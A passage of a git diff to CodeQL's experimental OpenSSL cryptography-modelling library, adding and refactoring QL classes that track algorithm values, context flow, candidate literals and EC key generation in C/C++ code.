b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll index ffc9a7c3991e..affb7ae6095e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll @@ -1,9 +1,8 @@ import cpp -import experimental.quantum.Language -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase -// TODO: can self referential to itself, which is also an algorithm (Known algorithm) /** * Cases like EVP_MD5(), * there is no input, rather it directly gets an algorithm diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..4bff4cb05db2 --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll @@ -0,0 +1,34 @@ +import cpp +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class EllipticCurveValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +//https://docs.openssl.org/3.0/man3/EC_KEY_new/#name +class EVPEllipticCurveAlgorithmConsumer extends EllipticCurveValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPEllipticCurveAlgorithmConsumer() { + resultNode.asExpr() = this.(Call) and // in all cases the result is the return + ( + this.(Call).getTarget().getName() in ["EVP_EC_gen", "EC_KEY_new_by_curve_name"] and + valueArgNode.asExpr() = this.(Call).getArgument(0) + or + this.(Call).getTarget().getName() in [ + "EC_KEY_new_by_curve_name_ex", "EVP_PKEY_CTX_set_ec_paramgen_curve_nid" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(2) + ) + } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll index b041b986754c..6c4a9c9bd6cd 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll @@ -1,23 +1,16 @@ -// import EVPHashInitializer -// import EVPHashOperation -// import EVPHashAlgorithmSource import cpp -import experimental.quantum.Language -import semmle.code.cpp.dataflow.new.DataFlow -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase -import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances -import experimental.quantum.OpenSSL.LibraryDetector +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances abstract class HashAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } /** * EVP_Q_Digest directly consumes algorithm constant values */ -class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { - EVP_Q_Digest_Algorithm_Consumer() { - isPossibleOpenSSLFunction(this.(Call).getTarget()) and - this.(Call).getTarget().getName() = "EVP_Q_digest" - } +class EVP_Q_Digest_Algorithm_Consumer extends HashAlgorithmValueConsumer { + EVP_Q_Digest_Algorithm_Consumer() { this.(Call).getTarget().getName() = "EVP_Q_digest" } override Crypto::ConsumerInputDataFlowNode getInputNode() { result.asExpr() = this.(Call).getArgument(1) @@ -33,3 +26,33 @@ class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { none() } } + +/** + * The EVP digest algorithm getters + * https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis + */ +class EVPDigestAlgorithmValueConsumer extends HashAlgorithmValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPDigestAlgorithmValueConsumer() { + resultNode.asExpr() = this and + ( + this.(Call).getTarget().getName() in [ + "EVP_get_digestbyname", "EVP_get_digestbynid", "EVP_get_digestbyobj" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(0) + or + this.(Call).getTarget().getName() = "EVP_MD_fetch" and + valueArgNode.asExpr() = this.(Call).getArgument(1) + ) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KEMAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KEMAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..e66beccd301a --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KEMAlgorithmValueConsumer.qll @@ -0,0 +1,28 @@ +import cpp +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class KEMAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +class EVPKEMAlgorithmValueConsumer extends KEMAlgorithmValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPKEMAlgorithmValueConsumer() { + resultNode.asExpr() = this and + ( + this.(Call).getTarget().getName() = "EVP_KEM_fetch" and + valueArgNode.asExpr() = this.(Call).getArgument(1) + ) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KeyExchangeAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KeyExchangeAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..b5f24ec875ad --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/KeyExchangeAlgorithmValueConsumer.qll @@ -0,0 +1,28 @@ +import cpp +private import experimental.quantum.Language +private import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class KeyExchangeAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +class EVPKeyExchangeAlgorithmValueConsumer extends KeyExchangeAlgorithmValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPKeyExchangeAlgorithmValueConsumer() { + resultNode.asExpr() = this and + ( + this.(Call).getTarget().getName() = "EVP_KEYEXCH_fetch" and + valueArgNode.asExpr() = this.(Call).getArgument(1) + ) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll index 3f6e2bd4dc89..b0cdee1f8f5d 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumerBase.qll @@ -1,5 +1,4 @@ -import experimental.quantum.Language -import semmle.code.cpp.dataflow.new.DataFlow +private import experimental.quantum.Language abstract class OpenSSLAlgorithmValueConsumer extends Crypto::AlgorithmValueConsumer instanceof Call { /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll index 0638595afb88..c76d6d6f041c 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/OpenSSLAlgorithmValueConsumers.qll @@ -3,3 +3,5 @@ import CipherAlgorithmValueConsumer import DirectAlgorithmValueConsumer import PaddingAlgorithmValueConsumer import HashAlgorithmValueConsumer +import EllipticCurveAlgorithmValueConsumer +import PKeyAlgorithmValueConsumer diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll new file mode 100644 index 000000000000..0d40ceeb68af --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll @@ -0,0 +1,55 @@ +import cpp +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances + +abstract class PKeyValueConsumer extends OpenSSLAlgorithmValueConsumer { } + +class EVPPKeyAlgorithmConsumer extends PKeyValueConsumer { + DataFlow::Node valueArgNode; + DataFlow::Node resultNode; + + EVPPKeyAlgorithmConsumer() { + resultNode.asExpr() = this.(Call) and // in all cases the result is the return + ( + // NOTE: some of these consumers are themselves key gen operations, + // in these cases, the operation will be created separately for the same function. + this.(Call).getTarget().getName() in [ + "EVP_PKEY_CTX_new_id", "EVP_PKEY_new_raw_private_key", "EVP_PKEY_new_raw_public_key", + "EVP_PKEY_new_mac_key" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(0) + or + this.(Call).getTarget().getName() in [ + "EVP_PKEY_CTX_new_from_name", "EVP_PKEY_new_raw_private_key_ex", + "EVP_PKEY_new_raw_public_key_ex", "EVP_PKEY_CTX_ctrl", "EVP_PKEY_CTX_set_group_name" + ] and + valueArgNode.asExpr() = this.(Call).getArgument(1) + or + // argInd 2 is 'type' which can be RSA, or EC + // if RSA argInd 3 is the key size, else if EC argInd 3 is the curve name + // In all other cases there is no argInd 3, and argInd 2 is the algorithm. + // Since this is a key gen operation, handling the key size should be handled + // when the operation is again modeled as a key gen operation. + this.(Call).getTarget().getName() = "EVP_PKEY_Q_keygen" and + ( + // Elliptic curve case + // If the argInd 3 is a derived type (pointer or array) then assume it is a curve name + if this.(Call).getArgument(3).getType().getUnderlyingType() instanceof DerivedType + then valueArgNode.asExpr() = this.(Call).getArgument(3) + else + // All other cases + valueArgNode.asExpr() = this.(Call).getArgument(2) + ) + ) + } + + override Crypto::AlgorithmInstance getAKnownAlgorithmSource() { + exists(OpenSSLAlgorithmInstance i | i.getAVC() = this and result = i) + } + + override DataFlow::Node getResultNode() { result = resultNode } + + override Crypto::ConsumerInputDataFlowNode getInputNode() { result = valueArgNode } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll index 3f7ce20d6b3a..c60918519c80 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PaddingAlgorithmValueConsumer.qll @@ -1,9 +1,8 @@ import cpp -import experimental.quantum.Language -import experimental.quantum.OpenSSL.LibraryDetector -import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants -import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase -import OpenSSLAlgorithmValueConsumerBase +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants +private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstanceBase +private import OpenSSLAlgorithmValueConsumerBase abstract class PaddingAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } @@ -16,11 +15,8 @@ class EVP_PKEY_CTX_set_rsa_padding_AlgorithmValueConsumer extends PaddingAlgorit EVP_PKEY_CTX_set_rsa_padding_AlgorithmValueConsumer() { resultNode.asExpr() = this and - isPossibleOpenSSLFunction(this.(Call).getTarget()) and - ( - this.(Call).getTarget().getName() in ["EVP_PKEY_CTX_set_rsa_padding"] and - valueArgNode.asExpr() = this.(Call).getArgument(1) - ) + this.(Call).getTarget().getName() = "EVP_PKEY_CTX_set_rsa_padding" and + valueArgNode.asExpr() = this.(Call).getArgument(1) } override DataFlow::Node getResultNode() { result = resultNode } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll index 88e4a1c378b0..38b49b8d9010 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/CtxFlow.qll @@ -20,79 +20,119 @@ import semmle.code.cpp.dataflow.new.DataFlow -class CTXType extends Type { - CTXType() { - // TODO: should we limit this to an openssl path? +/** + * An openSSL CTX type, which is type for which the stripped underlying type + * matches the pattern 'evp_%ctx_%st'. + * This includes types like: + * - EVP_CIPHER_CTX + * - EVP_MD_CTX + * - EVP_PKEY_CTX + */ +private class CtxType extends Type { + CtxType() { + // It is possible for users to use the underlying type of the CTX variables + // these have a name matching 'evp_%ctx_%st this.getUnspecifiedType().stripType().getName().matches("evp_%ctx_%st") + or + // In principal the above check should be sufficient, but in case of build mode none issues + // i.e., if a typedef cannot be resolved, + // or issues with properly stubbing test cases, we also explicitly check for the wrapping type defs + // i.e., patterns matching 'EVP_%_CTX' + exists(Type base | base = this or base = this.(DerivedType).getBaseType() | + base.getName().matches("EVP_%_CTX") + ) } } -class CTXPointerExpr extends Expr { - CTXPointerExpr() { - this.getType() instanceof CTXType and +/** + * A pointer to a CtxType + */ +private class CtxPointerExpr extends Expr { + CtxPointerExpr() { + this.getType() instanceof CtxType and this.getType() instanceof PointerType } } -class CTXPointerArgument extends CTXPointerExpr { - CTXPointerArgument() { exists(Call c | c.getAnArgument() = this) } +/** + * A call argument of type CtxPointerExpr. + */ +private class CtxPointerArgument extends CtxPointerExpr { + CtxPointerArgument() { exists(Call c | c.getAnArgument() = this) } Call getCall() { result.getAnArgument() = this } } -class CTXClearCall extends Call { - CTXClearCall() { +/** + * A call whose target contains 'free' or 'reset' and has an argument of type + * CtxPointerArgument. + */ +private class CtxClearCall extends Call { + CtxClearCall() { this.getTarget().getName().toLowerCase().matches(["%free%", "%reset%"]) and - this.getAnArgument() instanceof CTXPointerArgument + this.getAnArgument() instanceof CtxPointerArgument } } -class CTXCopyOutArgCall extends Call { - CTXCopyOutArgCall() { - this.getTarget().getName().toLowerCase().matches(["%copy%"]) and - this.getAnArgument() instanceof CTXPointerArgument +/** + * A call whose target contains 'copy' and has an argument of type + * CtxPointerArgument. + */ +private class CtxCopyOutArgCall extends Call { + CtxCopyOutArgCall() { + this.getTarget().getName().toLowerCase().matches("%copy%") and + this.getAnArgument() instanceof CtxPointerArgument } } -class CTXCopyReturnCall extends Call { - CTXCopyReturnCall() { - this.getTarget().getName().toLowerCase().matches(["%dup%"]) and - this.getAnArgument() instanceof CTXPointerArgument and - this instanceof CTXPointerExpr +/** + * A call whose target contains 'dup' and has an argument of type + * CtxPointerArgument. + */ +private class CtxCopyReturnCall extends Call, CtxPointerExpr { + CtxCopyReturnCall() { + this.getTarget().getName().toLowerCase().matches("%dup%") and + this.getAnArgument() instanceof CtxPointerArgument } } -module OpenSSLCTXArgumentFlowConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source.asExpr() instanceof CTXPointerArgument } +/** + * Flow from any CtxPointerArgument to any other CtxPointerArgument + */ +module OpenSSLCtxArgumentFlowConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source) { source.asExpr() instanceof CtxPointerArgument } - predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof CTXPointerArgument } + predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof CtxPointerArgument } predicate isBarrier(DataFlow::Node node) { - exists(CTXClearCall c | c.getAnArgument() = node.asExpr()) + exists(CtxClearCall c | c.getAnArgument() = node.asExpr()) } predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) { - exists(CTXCopyOutArgCall c | + exists(CtxCopyOutArgCall c | c.getAnArgument() = node1.asExpr() and c.getAnArgument() = node2.asExpr() and node1.asExpr() != node2.asExpr() and - node2.asExpr().getType() instanceof CTXType + node2.asExpr().getType() instanceof CtxType ) or - exists(CTXCopyReturnCall c | + exists(CtxCopyReturnCall c | c.getAnArgument() = node1.asExpr() and c = node2.asExpr() and node1.asExpr() != node2.asExpr() and - node2.asExpr().getType() instanceof CTXType + node2.asExpr().getType() instanceof CtxType ) } } -module OpenSSLCTXArgumentFlow = DataFlow::Global; +module OpenSSLCtxArgumentFlow = DataFlow::Global; -predicate ctxArgFlowsToCtxArg(CTXPointerArgument source, CTXPointerArgument sink) { +/** + * Holds if there is a context flow from the source to the sink. + */ +predicate ctxArgFlowsToCtxArg(CtxPointerArgument source, CtxPointerArgument sink) { exists(DataFlow::Node a, DataFlow::Node b | - OpenSSLCTXArgumentFlow::flow(a, b) and + OpenSSLCtxArgumentFlow::flow(a, b) and a.asExpr() = source and b.asExpr() = sink ) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll new file mode 100644 index 000000000000..8841adc17b6e --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/GenericSourceCandidateLiteral.qll @@ -0,0 +1,122 @@ +import cpp +private import semmle.code.cpp.models.Models +private import semmle.code.cpp.models.interfaces.FormattingFunction + +private class IntLiteral extends Literal { + IntLiteral() { + //Heuristics for distinguishing int literals from other literals + exists(this.getValue().toInt()) and + not this instanceof CharLiteral and + not this instanceof StringLiteral + } +} + +/** + * Holds if a StringLiteral could conceivably be used in some way for cryptography. + * Note: this predicate should only consider restrictions with respect to strings only. + * General restrictions are in the OpenSSLGenericSourceCandidateLiteral class. + */ +private predicate isOpenSSLStringLiteralGenericSourceCandidate(StringLiteral s) { + // 'EC' is a constant that may be used where typical algorithms are specified, + // but EC specifically means set up a default curve container, that will later be + //specified explicitly (or if not a default) curve is used. + s.getValue() != "EC" and + // Ignore empty strings + s.getValue() != "" and + // Filter out strings with "%", to filter out format strings + not s.getValue().matches("%\\%%") and + // Filter out strings in brackets or braces (commonly seen strings not relevant for crypto) + not s.getValue().matches(["[%]", "(%)"]) and + // Filter out all strings of length 1, since these are not algorithm names + // NOTE/ASSUMPTION: If a user legitimately passes a string of length 1 to some configuration + // we will assume this is generally unknown. We may need to reassess this in the future. + s.getValue().length() > 1 and + // Ignore all strings that are in format string calls outputing to a stream (e.g., stdout) + not exists(FormattingFunctionCall f | + exists(f.getOutputArgument(true)) and s = f.(Call).getAnArgument() + ) and + // Ignore all format string calls where there is no known out param (resulting string) + // i.e., ignore printf, since it will just output a string and not produce a new string + not exists(FormattingFunctionCall f | + // Note: using two ways of determining if there is an out param, since I'm not sure + // which way is canonical + not exists(f.getOutputArgument(false)) and + not f.getTarget().hasTaintFlow(_, _) and + f.(Call).getAnArgument() = s + ) +} + +/** + * Holds if a StringLiteral could conceivably be used in some way for cryptography. + * Note: this predicate should only consider restrictions with respect to integers only. + * General restrictions are in the OpenSSLGenericSourceCandidateLiteral class. + */ +private predicate isOpenSSLIntLiteralGenericSourceCandidate(IntLiteral l) { + // Ignore integer values of 0, commonly referring to NULL only (no known algorithm 0) + l.getValue().toInt() != 0 and + // ASSUMPTION, no negative numbers are allowed + // RATIONALE: this is a performance improvement to avoid having to trace every number + not exists(UnaryMinusExpr u | u.getOperand() = l) and + // OPENSSL has a special macro for getting every line, ignore it + not exists(MacroInvocation mi | mi.getExpr() = l and mi.getMacroName() = "OPENSSL_LINE") and + // Filter out cases where an int is returned into a pointer, e.g., return NULL; + not exists(ReturnStmt r | + r.getExpr() = l and + r.getEnclosingFunction().getType().getUnspecifiedType() instanceof DerivedType + ) and + // A literal as an array index should not be relevant for crypo + not exists(ArrayExpr op | op.getArrayOffset() = l) and + // A literal used in a bitwise should not be relevant for crypto + not exists(BinaryBitwiseOperation op | op.getAnOperand() = l) and + not exists(AssignBitwiseOperation op | op.getAnOperand() = l) and + //Filter out cases where an int is assigned or initialized into a pointer, e.g., char* x = NULL; + not exists(Assignment a | + a.getRValue() = l and + a.getLValue().getType().getUnspecifiedType() instanceof DerivedType + ) and + not exists(Initializer i | + i.getExpr() = l and + i.getDeclaration().getADeclarationEntry().getUnspecifiedType() instanceof DerivedType + ) and + // Filter out cases where the literal is used in any kind of arithmetic operation + not exists(BinaryArithmeticOperation op | op.getAnOperand() = l) and + not exists(UnaryArithmeticOperation op | op.getOperand() = l) and + not exists(AssignArithmeticOperation op | op.getAnOperand() = l) and + // If a literal has no parent ignore it, this is a workaround for the current inability + // to find a literal in an array declaration: int x[100]; + // NOTE/ASSUMPTION: this value might actually be relevant for finding hard coded sizes + // consider size as inferred through the allocation of a buffer. + // In these cases, we advise that the source is not generic and must be traced explicitly. + exists(l.getParent()) +} + +/** + * Any literal that may be conceivably be used in some way for cryptography. + * The set of all literals is restricted by this class to cases where there is higher + * plausibility that the literal could be used as a source of configuration. + * Literals are filtered, for example, if they are used in a way no indicative of an algorithm use + * such as in an array index, bitwise operation, or logical operation. + * Note a case like this: + * if(algVal == "AES") + * + * "AES" may be a legitimate algorithm literal, but the literal will not be used for an operation directly + * since it is in a equality comparison, hence this case would also be filtered. + */ +class OpenSSLGenericSourceCandidateLiteral extends Literal { + OpenSSLGenericSourceCandidateLiteral() { + ( + isOpenSSLIntLiteralGenericSourceCandidate(this) or + isOpenSSLStringLiteralGenericSourceCandidate(this) + ) and + // ********* General filters beyond what is filtered for strings and ints ********* + // An algorithm literal in a switch case will not be directly applied to an operation. + not exists(SwitchCase sc | sc.getExpr() = this) and + // A literal in a logical operation may be an algorithm, but not a candidate + // for the purposes of finding applied algorithms + not exists(BinaryLogicalOperation op | op.getAnOperand() = this) and + not exists(UnaryLogicalOperation op | op.getOperand() = this) and + // A literal in a comparison operation may be an algorithm, but not a candidate + // for the purposes of finding applied algorithms + not exists(ComparisonOperation op | op.getAnOperand() = this) + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll index f53812093c42..10ceec43e5c1 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/OpenSSL.qll @@ -1,9 +1,7 @@ -import cpp -import semmle.code.cpp.dataflow.new.DataFlow - module OpenSSLModel { - import experimental.quantum.Language - import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances - import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers - import experimental.quantum.OpenSSL.Operations.OpenSSLOperations + import AlgorithmInstances.OpenSSLAlgorithmInstances + import AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers + import Operations.OpenSSLOperations + import Random + import GenericSourceCandidateLiteral } diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll new file mode 100644 index 000000000000..40103569cac0 --- /dev/null +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/ECKeyGenOperation.qll @@ -0,0 +1,34 @@ +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import OpenSSLOperationBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers +private import semmle.code.cpp.dataflow.new.DataFlow + +class ECKeyGenOperation extends OpenSSLOperation, Crypto::KeyGenerationOperationInstance { + ECKeyGenOperation() { this.(Call).getTarget().getName() = "EC_KEY_generate_key" } + + override Expr getAlgorithmArg() { result = this.(Call).getArgument(0) } + + override Crypto::KeyArtifactType getOutputKeyType() { result = Crypto::TAsymmetricKeyType() } + + override Crypto::ArtifactOutputDataFlowNode getOutputKeyArtifact() { + result.asExpr() = this.(Call).getArgument(0) + } + + override Crypto::ConsumerInputDataFlowNode getKeySizeConsumer() { + none() // no explicit key size, inferred from algorithm + } + + override int getKeySizeFixed() { + none() + // TODO: marked as none as the operation itself has no key size, it + // comes from the algorithm source, but note we could grab the + // algorithm source and get the key size (see below). + // We may need to reconsider what is the best approach here. + // result = + // this.getAnAlgorithmValueConsumer() + // .getAKnownAlgorithmSource() + // .(Crypto::EllipticCurveInstance) + // .getKeySize() + } +} diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll index 3e8607ef8ecb..e6e9954a3332 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherInitializer.qll @@ -3,8 +3,9 @@ * Models cipher initialization for EVP cipher operations. */ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import OpenSSLOperationBase module EncValToInitEncArgConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source) { source.asExpr().getValue().toInt() in [0, 1] } @@ -34,19 +35,12 @@ Crypto::KeyOperationSubtype intToCipherOperationSubtype(int i) { } // TODO: need to add key consumer -abstract class EVP_Cipher_Initializer extends Call { - Expr getContextArg() { result = this.(Call).getArgument(0) } +abstract class EVP_Cipher_Initializer extends EVPInitialize { + override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - Expr getAlgorithmArg() { result = this.(Call).getArgument(1) } - - abstract Expr getKeyArg(); - - abstract Expr getIVArg(); - - // abstract Crypto::CipherOperationSubtype getCipherOperationSubtype(); abstract Expr getOperationSubtypeArg(); - Crypto::KeyOperationSubtype getCipherOperationSubtype() { + override Crypto::KeyOperationSubtype getKeyOperationSubtype() { if this.(Call).getTarget().getName().toLowerCase().matches("%encrypt%") then result instanceof Crypto::TEncryptMode else diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index b544079579af..5f24d840ff88 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -1,37 +1,26 @@ -import experimental.quantum.Language -import experimental.quantum.OpenSSL.CtxFlow as CTXFlow -import EVPCipherInitializer -import OpenSSLOperationBase -import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers - -private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { - exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source) +private import experimental.quantum.Language +private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow +private import EVPCipherInitializer +private import OpenSSLOperationBase +private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers + +class EVP_Cipher_Update_Call extends EVPUpdate { + EVP_Cipher_Update_Call() { + this.(Call).getTarget().getName() in [ + "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate" + ] } - predicate isSink(DataFlow::Node sink) { - exists(EVP_Cipher_Operation c | 